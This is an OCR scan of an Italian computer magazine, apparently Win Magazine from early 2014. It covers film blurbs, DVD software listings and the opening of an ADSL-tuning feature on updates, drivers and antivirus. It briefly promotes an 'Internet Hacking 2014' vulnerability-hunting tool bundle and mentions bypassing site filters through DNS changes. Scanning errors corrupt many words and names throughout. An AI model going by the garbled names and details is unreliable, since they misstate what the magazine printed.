improvvisamente una terribile 
epidemia che trasforma ogni es¬ 
sere umano in uno zombie. Gerry 
Lane (Brad Pitt) si ritrova blocca¬ 
to con la famiglia nel bel mezzo 
della più grande, repentina e in¬ 
spiegabile guerra mondiale, che 
contrappone appunto gli esseri 
umani non ancora contagiati agli 
zombie. Massacri e inseguimenti? 
Non mancano! 

Regia: Marc Forster 

Attori: Brad Pitt, Matthew Fox, Mireille Etx» 

Durata: 123 minutt 



Die Hard: Un buon 
giorno per morire 

Azione, Thriller 

McLane si trova in trasferta a 
Mosca per cercare di salvare il 
figlio, arrestato con l'accusa di 
omicidio. Ma il tribunale in cui il 
ragazzo sta per essere processato 
viene assaltato da una truppa di 
mercenari alla ricerca di un uomo 
che conosce importanti segreti. 
Compito del giovane McClane, 
che si svelerà essere un agente 
della CIA, è quella di proteggere 
il testimone. 

Regia: John Moore 

Attori: Brute Willis, Jai Couitney, Yuliya Snigir 
Durata: 124 minuti 
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LE VERSIONI DI 




Magazine 





CODICE DI 

M%AW1N187 

-# 


Magazine 

www.winmagazine.it/winextra 




Ogni mese Win Magazine ti mette 
a disposizione un nuovo spazio Web ricco 
di contenuti multimediali pronti da sfogliare 






Ashampoo Anti-maiware 


Gratis Adobe 
Creative Suite 2 



Neutralizza tutta te mmacca 
che mettono a repentagto 
t integrità del etstema e 
mcremenùne ri hvello di 
protezione 


con codice seriale 
Adobe 

Creative Suite 2 




INSTALLALO SUBITO 

Solo peri lettori di Win 
Magazine, un software comple¬ 
to in regalo 

APPCENTER 

Ogni mese in regalo le migliori 
applicazioni per arricchire 
il tuo dispositivo mobile 

CONTENUTI EXTRA 

Approfondimenti, gallerie 
fotografiche, video e softwa¬ 
re... sempre aggiornati 


C ollegati subito al nostro indiriz¬ 
zo Web, esegui la rapida pro¬ 
cedura di registrazione e inserisci 
il codice che trovi in alto. Potrai 
così accedere in un batter d'occhio 
al nostro spazio Internet per sca¬ 
ricare video, foto e programmi 
completi esclusivi, selezionati 
ogni mese per te dalla Redazione. 

I nostri approfondimenti, inoltre, ti 
permetteranno di rimanere sempre 
informato sulle ultime novità tec¬ 
nologiche. Non perdere tempo, un 
mondo di extra ti aspetta! 

p.37 



VERSIONE 

BASE 


CON CD 


I programmi completi scelti 
dalla Redazione per mettere 
in pratica i nostri tutorial 

p.38 


VERSIONE 

PLUS 


CON DVD 


Non perdere il "Top Game" 
del mese per giocare alla 
grande con il tuo computer 

p.39 




VERSIONE 

DVD 


CON DVD DOPPIO 


Ogni mese un film | 

imperdibile, 4 GB di software ì 
e tanti contenuti extra 

p.40 ■ 



VERSIONE 


GOLD 


CON 2 DVD 


DVD Redazionale -i- 2 Film 
in DVD Video: Love n' 
Dancing e Not Forgotten 

p.4ì 


Qicca e accedi subito alle 
categorie dei software 
presenti sul supporto 


Ogni mese una ricca 
selezione di contenuti 
extra, pronti da sfogliare 


I migliori programmi 
commerciali dei mese 
offerti in regalo 


rjNTERFACCIA DEL CD/DVD 

iVwin 


g 

CD : 






n 

JSm ' 


__ 


» 


pf ano * 


IP^I 1’?* 

' «Lqr n»akie«» 


TUni I PROGRAMMI SPECIALI 


COMPLETI 
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VERSIONE 

BASE 


I programmi completi scelti 
dalla Redazione per mettere 
in pratica i nostri tutorial 


PRODOTTI COMPLETI IN REGALO 


WINAMP 
MEDIA PLAYER 

Per 15 anni ha cavalcato l'onda 
della rivoluzione degli MP3, 
ora lo storico player va in pensione! 


MP3QUALITY 

MODIFIER 

Migliora la qualità 

dei tuoi file audio compressi 

trasformandoli nel formato 

FLAC 


SHIELAUSBSHIELD 

Elimina tutti i virus dalle 
chiavette USB o dispositivi 
removibili 

PICTURETHRILL 

Cambia lo sfondo del tuo 
desktop ogni giorno... 
in automatico! 

AUSLOGICS 

DISKDEFRAG 

Ottimizza le performance 
del tuo PC intervenendo 
sul disco fisso 


Così installi i software 

Accedi facilmente ai contenuti del Win CD/DVD-Rom 
attraverso la sua pratica interfaccia grafica 


Win 


! 

5 

CD 

• • 5 i 

1 



1 

1 





1 

IP4;I 

—1 

N 



so IS X 


SceqlMI software... 

<« Dall'interfaccia principale sce¬ 
gliamo la categoria software cuc¬ 
cando sopra una Tile. Si aprirà una scher¬ 
mata dalla quale scorrere la lista dei pro¬ 
grammi appartenenti a quella categoria. 


...e installalo subito! 

n Verifichiamo subito la compati¬ 
bilità del software con il sistema 
operativo installato sul PC cliccando su 
Posso Installarlo? e, se tutto è ok, pre¬ 
miamo su Salva/Installa. 




SIGARETTE 

ELETTRONICHE 

Novizio di e-cig? Non più! 
Con le nostre app potrai 
fumare in modo alternativo 


PULSANTE 
WIN START 

Una dashboard con utili 
e originali strumenti per 
usare al meglio il tuo PC 


Ed in più ALTRI 70 SOFTWARE COMPLETI 


OROSCOPO 2014 

Mi sono svegliato col 
piede giusto? Scoprilo 
leggendo il tuo oroscopo 
da smartphone e PC 
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Win Magazine ti mette a disposizione uno spazio 
esclusivo pieno di contenuti inediti. Scoprili subito 
sul sito www.winmagazine.it/winextra 



IN RECA 
OROSCO 


2014 


App e software 
per scoprire 
cosa vi 
riserveranno 
gli astri per 
il nuovo anno 



SOFTWARE IN REGALO 




ASHAMPOQ 
VIDEO STYLER 

Personalizza 
al meglio i tuoi filmati 
con effetti, titoli 
e colonne sonore | 

‘Richiesta registrazione gratuita on-line 1 


r 


APP CENTER 


I link segreti per scaricare 
le HOT APPS per iPhone, 
Android e Windows Phone 7 



Win Extra: accesso rapido! 

La procedura di registrazione, semplice e veloce, ti permette 
di accedere subito ai contenuti esclusivi del nostro club privò 



^ Una nuova registrazione 

■* Collegati al sito www.winmagazine.it/ 
* winextra e clicca Registrati, situato in 
alto a destra. Scrivi i tuoi dati personali e un 
Indirizzo e-mail valido; scegli poi un Nome 
utente e una Password e infine premi Invia. 


^ C'è posta per te! 

n i Controlla la tua casella di posta elet- 
^ tronica: troverai un'e-mail con il link 
di attivazione del tuo account. Cliccaci sopra 
per completare la registrazione e ritorna nella 
Home Page di Win Extra. Clicca su Accedi. 



^ Login diretto 

« Nel form che appare a video digita 
- Username e Password scelti in fase 
di registrazione e il codice di accesso di Win 
Extra che trovi in questa pagina. Infine, clicca 
su Accedi e scopri i contenuti extra del mese! 
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SOFTWARE COMPLETI 


TOP SOFTWARE 


AcronìsTrué 
Image Home; 

Crea Immagini 
di backup del tuo 
hard disk, ;-5 

da ripristinare . 

all'occorrenza 
in un solo dici 




•-5 


-■V ^iV 




Ed in più, oltre ai contenuti presenti nella versione Base, 

ALTRI BEN 40 SOFTWARE COMPLETI 


VERSIONE 

PLUS 


INCLUDE DVD DA 4, 


Non perdere il "Top Game" 
del mese per giocare alla grande 
con il tuo computer 


Pandora s 


B oston, 1950 - Tyler riceve una chiamata da 
suo nonno, terrorizzato: "L'ho uccisa". Tyler 
si precipita da lui, trovandosi di fronte una scenaP** 
raccapricciante: la casa devastata e il nonno 
barricato in una stanza, armato e in preda al panico 
Tragici eventi accaduti anni prima su un vascello, 
il Pandora, sono tornati alla mente per tormentarlo 
e sconvolgeranno anche la vita di Tyler... 


WebSìteXSHomelOi 


Crea il tuo sito Web 


REQUISITI DI SISTEMA: 

Sistema operativo; Windows XP/Vista/7/8 • Dimensione; 250 
MB • Lingua: Inglese • RAM; 512 MB • Video; 256 MB • HD:65Ó' 
MB-CPU: 1200 MHz 


GIOCO COMPLETO 


Skanect 

: Il software magico che 
; trasforma il celeberrimo 
ì sensore Kinect della Xbox 
; 360 in uno scanner 3D 
; per il tuo computer 


in pochi passi senza 
scrivere una sola riga 
di codice 


HOME® 
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Ed in più, oltre ai contenuti della versione Plus, 

ALTRI 30 SOFTWARE COMPLETI 


J ake è un campione 
del mondo di danza 
Swing, ma non può 
purtroppo sentire nulla... 
segue il ritmo lasciandosi 
guidare solamente dalle 
vibrazioni della musica. 
Jessica è un'insegnante 
di lingua inglese, che ha 
abbandonato il sogno di 
ballare per vivere una vita 
decisamente monotona, 
con un lavoro sicuro e un 
fidanzato noioso. Quando 
si incontreranno sarà 
subito passione... sulla 
pista da ballo e nella vita. 


casQH 

INTERNET HACKING 2014 

Tutti 1 tool per una rete 
senza segreti! Usali con 
cautela per esplorare 
Internet alla ricerca 
di vulnerabilità, 
e non solo... 


GIOCHI INVERNALI 

Divertiti con smartphone e tablet tra sci 
e snowboard, e resta sempre informato s. 

sui Giochi Invernali 
di Sochi 2014! 


SOFTWARE COMPLETO IN REGALO 


ASHAMPOO 
BURNING 
STUDIO 2014 

La suite di 
masterizzazione per 
sfornare alla grande 
CD/DVD e Blu-ray 

Leggi tutorial a pag. 104 


Burninq Studio 


□ cs 


^ajharr^ 


AMY SMART 

Nel 2002 ricopre un ruolo di rilievo in Interstate 60. 
Nel 2004 ha partecipato come co-protagonista nel film 
The Butterfly Effect, mentre nel 2005 ha interpre¬ 
tato Ève (la fidanzata del criminale interpretato da Jason Statham) in 
Crank; nel 2009 riprende il suo ruolo nel seqiel Crank: High Voltage. 


INCLUDE DVD DA 8 


5 GB 


BILL ZANE ■■ 

Attore statunitense, esordisce nel 1985 in Ritorno al 
futuro. Dopo alcuni ruoli secondari, nel 19% è prota- 
genista di The Phantom, mentre nel 1997 ottiene un 
grande successo nei panni di Cai Hockley in Titanit. Nel 1998 è prota 
genista di Delitto imperfetto e nel 2001 è nel cast di The Believer. 


FILM IN DVD VIDEO 


SCHEDA TECNICA 
TITOLO ORIGINALE: 

LOVE N'DANCING 
NAZIONE; USA 
GENERE: ■ 

DRAMMATICO 
REGIA: ROBERT ISCOVE 
CAST: AMY SMART, 

TOM MALL0Y,BllLY ZANE 
DURATA; 91 MIN. 

ANNO: 2009 




IL CUORE VIBRA AL RHIViO DELLA PASSION 
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SCHEDA TECNCA 


VERSIONE 


TITOLO ORIGINALE: NotForgotten 

NAZIONE: USA 

GENERE:Thrìller 

REGIA: DronSoref 

CAST : Simon Baker, Paz Vega 

DURATA: 97 min. 


GOLD 


ANNO: 2009 


INCLUDE DVD DA 8,5 GB + 


^ NóIS®*' 

FORGOTTEN 


AUDIO: Italiano Dolby Diqrtal 5,1 


li VnUI.A NASa>STT 


Questo mese film "Top Title 
e tanti software completi 


ack vive felice in 


una citta del Texas 


insieme alla sua 
famiglia: una bella 
moglie, una giovane 
figlia. La sua vita sembra 
assolutamente perfetta, 
ma quando un giorno la 
bambina scompare nel 
nulla. Jack è costretto ad 
affrontare i fantasmi del 
suo passato e a svelare 
un terribile segreto che 
non ha mai avuto la forza 
di rivelare nessuno. 


NON PUOI DIMENTICARE CIO CHE SEI STA TO 


noTTr 


Ed in piu TUTTI I CONTENUTI 
DELLA VERSIONE DVD 
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} Speciale trucchi | ADSL 2014 Service Pack 


Tk^ucca la tua 
linea ADSL 



Le istruzioni e il software “magico” 
per sbloccare i parametri nascosti 
della connessione Internet 


NELLE PROSSIME 
PAGINE 
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S iamo quotidianamente bombardati dalle 
offerte promozionali dei principali provider 
italiani che ci propongono abbonamenti 
ADSL con velocità strepitose, promettendoci 
navigazione su Internet senza il benché mi¬ 
nimo rallentamento. Salvo poi scoprire nella 
quotidiana realtà che la banda larga italiana 
soffre di “lumachite”, cioè di una velocità reale 
molto inferiore rispetto a quella pubblicizzata. A 
confermarlo anche l’indagine condotta da SOS 
Tariffe e pubblicata sul sito www.sostariffe.it/ 
adsl/test-velodta. Possiamocnmunque sfruttare 
al meglio le potenzialità della nostra linea ADSL 
e navigare in tutta tranquillità seguendo alcuni 
semplici accorgimenti. Tenere sempre aggior¬ 
nato il sistema operativo è sicuramente il primo 
passo da compiere, ma ciò non è sufficiente; è 
importante, anche, che i dispositivi di rete siano 
dotati dei driver e dei firmware più recenti, in 
modo da evitare conflitti hardware e problemi 
di sicurezza. Non bisogna poi trascurare tanti 
altri piccoli trucchi, che potranno assicurarci un 
computer sempre al top per non perdere colpi 
durante le nostre sessioni di navigazione. Senza 
dimenticare anche le configurazioni avanzate 
peri vari dispositivi hardware (non solorouter, 
ma anche Internet Key, smartphone, tablet. 
Smart TV, NAS...) che usiamo per collegarci a 
Internet. Per automatizzare la messa a punto di 
tutte le nostre periferiche abbiamo realizzato il 
tool ADSL Hack Kit 2014 con tutti gli strumenti 
software necessari. Scopri con noi nelle prossime 
pagine come utilizzarlo al meglio! 
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L'INTERNET CONFIGURATOR PER IL TUO WINDOWS 


Ogni volta che vengono scoperte delle falle di 
sicurezza o dei malfunzionamenti di Windows, 
Microsoft cerca di correre rapidamente ai ripari 
rilasciando degli aggiornamenti (patch). Omet¬ 
terne l'installazione può compromettere in mo¬ 
do serio non la stabilità del sistema operativo 
e la nostra sicurezza in Rete, oltre a procurare 
un probabile degrado delle prestazioni del PC. 
Per fortuna, tenere Windows sempre in buona 
salute è un'operazione davvero facile grazie a 
Windows Update, una funzionalità integrata che 
si preoccupa di cercare, scaricare e installare perio¬ 
dicamente tutti gli aggiornamenti ufficiali messi 
a disposizione da Microsoft. Per avviare Windows 
Update, apriamo il Pannello di controllo e, con 
la Visualizzazione per icone, facciamo clic su 
Windows Update. Scegliamo la voce Controlla 
aggiornamenti nel menu di sinistra per avviare 
la ricerca. Dopo qualche minuto, verrà presenta¬ 
to un elenco di tutti gli aggiornamenti ufficiali 
rilasciati da Windows e non ancora installati sul 
nostro sistema. Le voci elencate sono suddivise 
in due categorie. Gli aggiornamenti importanti 
sono quelli fondamentali per garantire la stabi¬ 
lità e la sicurezza del sistema operativo: spesso 
si tratta di patch che risolvono problemi anche 
molto seri. Quelli facoltativi, invece, di solito sono 
aggiornamenti non critici di applicazioni, ma in 
alcuni casi si può trattare di driver di periferiche. 
A questo proposito, è importante notare che 


sebbene la disponibilità su Windows Update ga¬ 
rantisca l'attendibilità e il corretto funzionamento 
del driver, non potremo essere certi che si tratti 
davvero delle versioni più recenti. Il produttore, 
infatti, potrebbe aver rilasciato uiteriori versioni 
non riconosciute (ancora) da Microsoft. Invece di 
procedere con l'installazione a tappeto di tutti gli 
aggiornamenti facoltativi proposti da Microsoft, 
sarebbe opportuno verificare l'elenco con at¬ 
tenzione, così da escludere tutto quel che non ci 
convince o che non riteniamo necessario. E per i 
driver, a meno di particolari esigenze, è sempre 
meglio fare riferimento direttamente al sito Web 
del produttore del dispositivo. Per fortuna, pos¬ 
siamo selezionare o deselezionare ogni singolo 
aggiornamento presente nell'elenco. 

Windows Update consente all'utente di scegliere 



il livello di automatismo più adatto alle proprie 
esigenze. Ad esempio, possiamo decidere di in¬ 
stallare sempre tutto senza nessun intervento 
manuale, di scaricare automaticamente gli ag¬ 
giornamenti ma di lasciare a noi la decisione se 
instaliarli o, semplicemente, di non apportare 
mai nessuna modifica. Basta fare clic su Cambia 
impostazioni nel menu di sinistra e selezionare 
l'alternativa preferita. 



Infine, potrebbe essere utile sapere esattamente 
quali sono gli aggiornamenti che finora sono stati 
installati sulla macchina. Se scegliamo Visualizza 
cronologia aggiornamenti, ancora dal menu di 
sinistra, visualizzeremo un elenco globale che po¬ 
tremo ordinare per data di installazione. Facendo 
due volte clic sulle voci che ci interessano, avremo 
una descrizione dettagliata. 



Tool usato: 
Windows 


MErniL TURBO 
ruo SISTEMA 




Anche Windows, come tutte le cose, non 
è esente da malfunzionamenti. Spesso, 
si verificano in seguito a un’operazione 
failita, come l'impossibilità ripetuta di 
collegarsi a Windows Update. 

Quando accade, il sistema operativo visuaiiz- 
za un messaggio con un codice numerico dal 
significato oscuro (ad esempio 80072F78). 
In questo caso, possiamo fare affidamen¬ 
to ai servizio di supporto tecnico Microsoft 



disponibile all’URL http://support.microsoft. 
com/fixit/it. È sufficiente inserire il codice di 
errore (nell’apposita casella di testo) e fare 
clic suiia lente di ingrandimento. Tra i risul¬ 
tati di ricerca troveremo sicuramente queilo 
che fa ai caso nostro. In alcuni casi, Micro¬ 
soft propone ii download e l'installazione di 
una patch che dovrebbe risolvere il problema. 



BROWSER PUUTO 
PER NAVIGARE 
SU INTERNET 


CCleanerè uno degli strumenti più efficten- 
ti per fare “piazza pulita’’ di tutti i rifiuti 
informatici presenti nei PC; dai file tempo¬ 
ranei alla cache del browser al registro di 
sistema. Ma va utilizzato con attenzione. 
Ad esempio, la cache del browser ha una 
sua utilità in quanto velocizza ii caricamen¬ 
to delle pagine da quei siti che si dimostra¬ 
no piuttosto statici, cioè che cambiano po¬ 
co nel tempo; cancellarla, significa dover ri¬ 
caricare ex novo ie informazioni. Allo stesso 
modo, utilizzando senza attenzione CClea- 
ner (sezione Indispensabili Win CD/DVD- 
Rom) potremmo cancellare tutte le password 



di quei siti per i quali abbiamo disposto l’au¬ 
tenticazione automatica. D’altra parte, dopo 
mesi di navigazione, i dati spazzatura saran¬ 
no dawero ingombranti e rischierebbero di 
rallentare il sistema; e in tal caso, una puli¬ 
zia profonda diventa d’obbligo. È importan¬ 
te capire come utilizzare al meglio CCleaner 
per rendere più efficiente il sistema senza 
però pagarne le conseguenze, specialmente 
in termini di utilizzo del browser e della con¬ 
nessione. Una volta awiato, andiamo nella 
sezione Cleanere togliamo le spunte a tut¬ 
to ciò che vogliamo con servare: cronologia, ► 
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file temporanei, cookie, URL recenti. Nella 
scheda Windows troviamo le voci relative 
a Internet Explorer, mentre in Applications 
troviamo tutto ciò che fa riferimento agli al¬ 
tri browser installati nel PC. Altra cosa a cui 
prestare attenzione è il Cestino: per impo¬ 
stazione predefinita, CCleaner lo svuota; se 
abbiamo la malsana abitudine di usarlo co¬ 
me una qualsiasi cartella del PC conviene 
togliere la spunta o perderemmo tutti i file. 



Toc^to i TAPPARE UE FALLE 
DEI BROiVSER 

Qualunque sia il nostro browser preferito, 
è importante che sia aggiornato sempre 
all’ultima versione, per tanti motivi. Le 
nuove release correggono i bug presenti 
nel codice che causano malfunzionamenti 
0 che potrebbero rappresentare una mi¬ 
naccia per la nostra sicurezza. 

Anche l'aggiunta di nuove funzionalità, l’ot¬ 
timizzazione delle prestazioni e il migliora¬ 
mento della velocità di navigazione sono dei 
buoni motivi per mantenere sempre aggior¬ 
nato il browser. 

• Per aggiornare Chrome, andiamo sulle Im¬ 
postazioni (sono accessibili tramite l’ico¬ 
na in alto a destra) e facciamo clic su In¬ 
formazioni su Google Chrome. Il siste¬ 
ma verificherà la versione attualmente in¬ 
stallata e ci darà la possibilità di scarica¬ 
re l’eventuale aggiornamento disponibile. 


• Gli utenti di Internet Explorer devono fare 
clic sulla vxe di menu identificata dal pun¬ 
to interrogativo e andare su Informazioni 




Periodicamente, è utile disinstallare i software che non utilizziamo. 
Possiamo farlo singoiar mente dal Pannello di controllo oppure, 
in caso di disinstallazioni multiple, possiamo usare PC Degrapifier, 
che troviamo nella sezione Internet del Win CD/DVD-Rom. 


1E5SIONE LENTA? 
'^BLEAt A DI RELEASE! 

Il nostro browser è aggiornato? Il sito www.browseraggiornato. 
it ce lo dirà in neppure un secondo. Basta caricare l'URL e avremo 
il responso. Il sito consente anche di scaricare l'ultima versione 
dei browser più diffusi. 


SU Internet Explorer. Si aprirà una finestra 
con i link per scaricare gli eventuali aggior¬ 
namenti. È utile mettere la spunta su In¬ 
stalla automaticamente nuove versioni. 

> La procedura per Firefox è molto simile: 
andiamo su Aiuto/lnformazioni su Fire¬ 
fox, saremo avvisati della presenza di ag¬ 
giornamenti da scaricare. 

> Infine, se siamo cultori di Opera, apriamo 
il menu premendo A/f sulla tastiera e sce¬ 
gliamo la voce Info su Opera, eventuali ag¬ 
giornamenti vengono segnalati nella fine¬ 
stra a scomparsa. 

VIA TUTTI I VIRUS 
. ^ ^ CHE BLOCCANO 
UACCiSSO A INTERNET! 

Quando si acquista un computer nuovo 
con il sistema operativo già installato, tra 
i software in dotazione è sempre presente 
un antivirus. Ma bisogna prestare molta 
attenzione, perché di solito si tratta di una 
versione di prova di un prodotto commer¬ 
ciale, che scade dopo 60 o 90 giorni; per¬ 
tanto, la protezione non è garantita a vita! 
Per poter continuare a usufruire del servizio 
bisognerà acquistare la versione definitiva. Il 
nostro consiglio, pertanto, se non abbiamo 
intenzione di comprare quel prodotto spe¬ 
cifico, è di disinstallare la versione demo e 
sostituirla immediatamente con un antivirus 
di nostro gradimento. Per fortuna, abbiamo 
tantissime possibilità di scelta, sia nel caso 
in cui fossimo interessati a prodotti commer¬ 
ciali sia gratuiti. Ma come individuare quello 
più adatto alle nostre esigenze? Ovviamen¬ 
te, non è facile, perché non esiste l’antivi- 
rus migliore in assoluto. Un aiuto significa¬ 
tivo può venirci da AV-Test, un soggetto in¬ 
dipendente che studia le questioni di sicu¬ 
rezza nell’ambito dell’lnformation Techno¬ 
logy e fornisce una valutazione accurata in 
termini di protezione, prestazioni e usabilità 
di ciascun antivirus sul mercato. Il servizio 
è raggiungibile all’Indirizzo www.av-test.org 
e funziona in maniera molto semplice. Non 
dobbiamo fare altro che scegliere il produt¬ 
tore e il sistema operativo e premere il ta¬ 
sto Search. AV-Test fornirà una valutazione 
in termini di protezione, prestazioni e usa¬ 
bilità. Per gli utenti di Windows, Microsoft 


mette gratuitamente a disposizione due to¬ 
ol di sicurezza: Security Essentiais (antivi¬ 
rus) e W/nc/oWS Defender(antispyware). In 
Windows 8, Windows Defender è abilitato 
come impostazione predefinita e compren¬ 
de anche l'antivirus. Molti utenti si adagiano 
sugli allori e dormono sonni tranquilli pen¬ 
sando di essere già sufficientemente protet¬ 
ti, ma le cose non stanno esattamente co¬ 
sì. Per ammissione della stessa Microsoft, 
Security Essentiais deve essere considera¬ 
to uno strumento di prima protezione: da so¬ 
lo non è sufficiente a garantire la copertura 
totale da tutte le minacce provenienti dal¬ 
la Rete; deve essere affiancato da un altro 
prodotto antivirale di terze parti. 

BrowserCheck effettua una scansione on- 
line del nostro browser per individuare 
il livello di aggiornamento del browser 
stesso e delle estensioni installate. Lo tro¬ 
viamo all'indirizzo httpsV/browsercheck. 
qualys.com. 



ESTENSIONI DEL 

_ BROWSER WEB; 

MEGUO NON ":;ASLHARE! 


Tool usato: 
Chrome/Rrefox 


Le funzionalità dei nostai browser possono 
essere ampliate tramite te estensioni: ne 
troviamo per qualsiasi esigenza. Tutta¬ 
via, le estensioni potrebbero appesan¬ 
tire notevolmente il browser, rallentare 
la navigazione e addirittura saturare la 
memoria del sistema rendendolo instabile 
0 temporaneamente inutilizzabile. 

• Se siamo utenti Chrome apriamo Gestio¬ 
ne attività e accediamo alla scheda Pro¬ 
cessi. Noteremo che sono presenti molte 
istanze del processo chrome.exe. più pre¬ 
cisamente, ce ne sarà una per ciascuna 
estensione. Inoltre, la presenza di esten¬ 
sioni obsolete può aumentare il rischio 
di falle nella sicurezza del sistema; an¬ 
che in questo caso, pertanto, è necessa¬ 
rio accertarsi che questi componenti ag¬ 
giuntivi siano sempre aggiornati. Lo stes¬ 
so discorso vale per i plug-in, cioè quegli 
elementi accessori che servono per ge¬ 
stire tramite browser contenuti specifici, 
come ad esempio filmati Flash, file au¬ 
dio 0 documenti in PDF. Chrome aggior¬ 
na automaticamente le estensioni per le 
quali sono state rilasciate nuove versioni 
al momento del loro utilizzo. I plug-in non 
sono aggiornati, ma vengono bloccati: al 
momento di usarli, l’utente può decidere 
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Internet 



se lasciare la versione vecchia o se sca¬ 
ricare gli aggiornamenti. 

• Con Internet Explorer bisogna procede¬ 
re ad aggiornare manualmente le esten¬ 
sioni, laddove è prevista questa possibili¬ 
tà. Bisogna andare in Strumenti/Gestio¬ 
ne componenti aggiuntivi ed esaminare 
ogni singola voce. 

• Firefox consente di aggiornarli automati¬ 
camente; andiamo in Strumenti/Compo¬ 
nenti aggiuntivi, facciamo clic sul simbo¬ 
lo dell’Ingranaggio e selezioniamo la vo¬ 
ce Aggiorna automaticamente i compo¬ 
nentiaggiuntivi. 



iCHEDA Di RETE 

Senza segreti! 


Per installare i driver giusti, specialmente 
se abbiamo a che fare con schede Ethernet 
e Wi-R, dobbiamo conoscere perfettamen¬ 
te il nostro computer. In caso di errore, 
potremmo dare luogo a malfunzionamenti 
non sempre facili da recuperare. 

HWINFO è un’utility gratuita in grado di esa¬ 
minare accuratamente il sistema e fornire 
informazioni dettagliate sulle singole com¬ 



ponenti. Per il download, andiamo sul sito 
del produttore, www.hwinto.com, e acce¬ 
diamo alla sezione Download, quindi, sce¬ 
gliamo la versione a 32o a 64 bit. in base al 
nostro sistema operativo. Possiamo decide¬ 
re di scaricare il file di installazione, ma an¬ 
che il pacchetto portatile, da avere sempre 
con noi su una pendrive. Terminato il down¬ 
load e l’eventuale l’installazione, avviamo 
FIWINFO e attendiamo qualche secondo. Al 
termine della scansione, grazie a una sem¬ 
plice struttura ad albero, potremo analizza¬ 
re tutte le componenti del nostro sistema; 



appositi link ci condurranno direttamente sui 
siti dei produttori per poter cercare e scari¬ 
care agevolmente i driver. 

NARE 

_ CELlA 

dCHEDADlRETE 

Tenere la scheda di rete sempre in forma è 
fondamentale per gestire al meglio il traffi¬ 
co Internet generato dal nostro computer! 

Per mostrare come aggiornare i driver di una 
scheda Ethernet useremo un computer dota¬ 
to di una scheda con chip Realtek RTL8168. 
Colleghiamoci al sito del produttore, www. 
realtek.com.tw, e nella sezione Downloads 
cerchiamo il nostro modello. Selezioniamo 
uno dei siti disponibili per il download e at¬ 
tendiamo il completamento dell’operazione. 
In questo caso, il pacchetto non prevede un 
eseguibile per l’installazione automatica del 
driver, ma uno ZIP che possiamo estrarre in 
una cartella qualsiasi; quindi, apriamo Ge¬ 
stione computer da Pannello di controllo 
e accediamo a Gestione dispositivi. Trova¬ 
ta la voce relativa alla nostra scheda di rete, 
facciamo clic con il tasto destro e scegliamo 


V 


■ikLamO L'UPGRADE 
■ ’ADATT^>T0aEWI-F? 

L'adattatore Wi-Fi utilizzato nei nostro esempio è il D-Link DWA- 
182. Anche in questo caso, come abbiamo operato per la scheda 
di rete, andiamo alla ricerca del driver più recente sul sito del 
produttore, nello specifico www.dlink.com/it/it/support. Questa 
volta, il file scaricato è uno ZIP che contiene un eseguibile (EXE) che 
rende più semplice l'operazione di installazione/aggiornamento 
dei driver. Dopo aver estratto i contenuti del file compresso in una 
cartella, è sufficiente fare due volte clic sull'eseguibile e seguire 
le istruzioni mostrate a video. 


Aggiornamento software driver. Adesso, 
facciamo clic su Cerca il software del dri¬ 
ver nel computerà sfogliamo il disco fino a 
trovare la cartella. Quindi, attendiamo che il 
sistema completi l'aggiornamento. 



5FN2A FLASH! 

Quando utilizziamo YouTube, possiamo fare a meno del plug-in di 
Flash e sfruttare appieno le nuove funzionalità di HTML5: questo 
significa avere una navigazione più snella ed evitare di sprecare 
inutilmente risorse di sistema, che possiamo indirizzare altrove. 
Flash, infatti, tende a essere più pesante di quanto immaginiamo. 
Andiamo alllndirizzo www.youtube.com/html5 e facciamo clic 
sul pulsante Richiedi il player HTML5. Da questo momento in 
poi, ogni volta che sarà possibile, la riproduzione avverrà tramite 
il nuovo player. 



Tool usalo; 
DriverZone 


tCCf Ì COSA FARE 

_ m uìQ I DRIVER 

NON SI TROV‘” " 

Se installiamo sul nostro computer un 
dispositivo molto datato e non più sup¬ 
portato dal produttore, ad esempio una 
scheda di rete, potremmo avere difficoltà 
a reperire I driver giusti dal sito ufficiale. 
In questo caso, possono tornare utili siti 
come DriverZone (http://driverzone.com). 
Si tratta di un immenso repository di driver, 
organizzato per categorie e per produtto¬ 
re, dove è possibile trovare davvero di tutto. 
Inoltre, il sito offre un sistema di scansione 
che è in grado di analizzare il nostro siste¬ 
ma per trovare automaticamente tutti i dri¬ 
ver di cui abbiamo bisogno. Per scaricare i 
driver da DriverZone è necessario registrarsi; 
la procedura è veloce e richiede semplice- 
mente l'inserimento di una login e di una e- 
mail valida, dove verrà inviata la prima pas¬ 
sword. È necessario conoscere esattamen¬ 
te marca e modello della periferica, cosi da 
poter fare una ricerca tramite il motore di 
DriverZone. Considerando la vastità del suo 
database, riusciremo sicuramente a trovare 
quello che ci serve. Non resta che installare 
il driver e, solitamente, riavviare il computer. 


SU WIN EXTRA TANTI ALTRI 

IMPERDIBILI TRUCCHI PER: 

I • Aggiornare il firmware del 

I router, 

• Scegliere i server DNS 
alternativi, 

• (Configurare il canale di 
trasmissione sul router Wi-Fi, 

• Riparare automaticamente 
il Browser 

I ... e tanto altro ancora! 
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Raddoppia la 
banda oell’ADSL 
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Ecco come configurare in un die i parametri nascosti deiia nostra 
connessione a internet per scaricare e navigare oitre ogni iimite! 


L a connessione ADSL è lenta e la nostra 
rete Wi-Fi soffre di interferenze e con¬ 
tinue perdite di segnale? Nel primo ca¬ 
so potrebbe essere colpa del provider, che 
promette velocità stratosferiche salvo poi 
farci navigare come lumache. Il più delle 
volte, però, i problemi nascono da una er¬ 
rata configurazione del router, Ethernet o 
wireless che sia. I vari dispositivi, infatti, 
sono configurati di fabbrica per adattarsi a 
funzionare con tutte le connessioni offerte 
dai provider: la maggior parte di noi non fa 
altro che collegare il router alla presa telefo¬ 
nica e iniziare a navigare. Affinando le varie 


impostazioni per adattarle alle nostre linee 
ADSL potremo invece sfruttare al meglio 
la connessione a Internet e, in alcuni casi, 
addirittura raddoppiare la banda! 

Hacker di Internet 

A volte basta modificare i server DNS del no¬ 
stro operatore per notare già qualche miglio¬ 
ramento: questa soluzione, inoltre, può essere 
utile anche per bypassare i vari filtri che ren¬ 
dono inaccessibili alcimi siti, oltre che rendere 
un po’ più fluida la navigazione in Rete. Per 
ottenere incrementi di velocità della nostra 
ADSL, però, dovremo intervenire su alcuni 


parametri avanzati che, se ben configurati, 
possono fare davvero la differenza e miglio¬ 
rare notevolmente la nostra navigazione su 
Internet. Nelle pagine che seguono scopri¬ 
remo come settare al meglio parametri come 
MTU, incapsulamento e Rapporto Segnale 
Rumore, termini in cui ci saremo sicuramente 
imbattuti spulciando nei pannelli di controllo 
dei nostri router, ma verso i quali finora non 
avevamo mai prestato la giusta attenzione. 
Grazie alle dritte dei nostri tecnici di labo¬ 
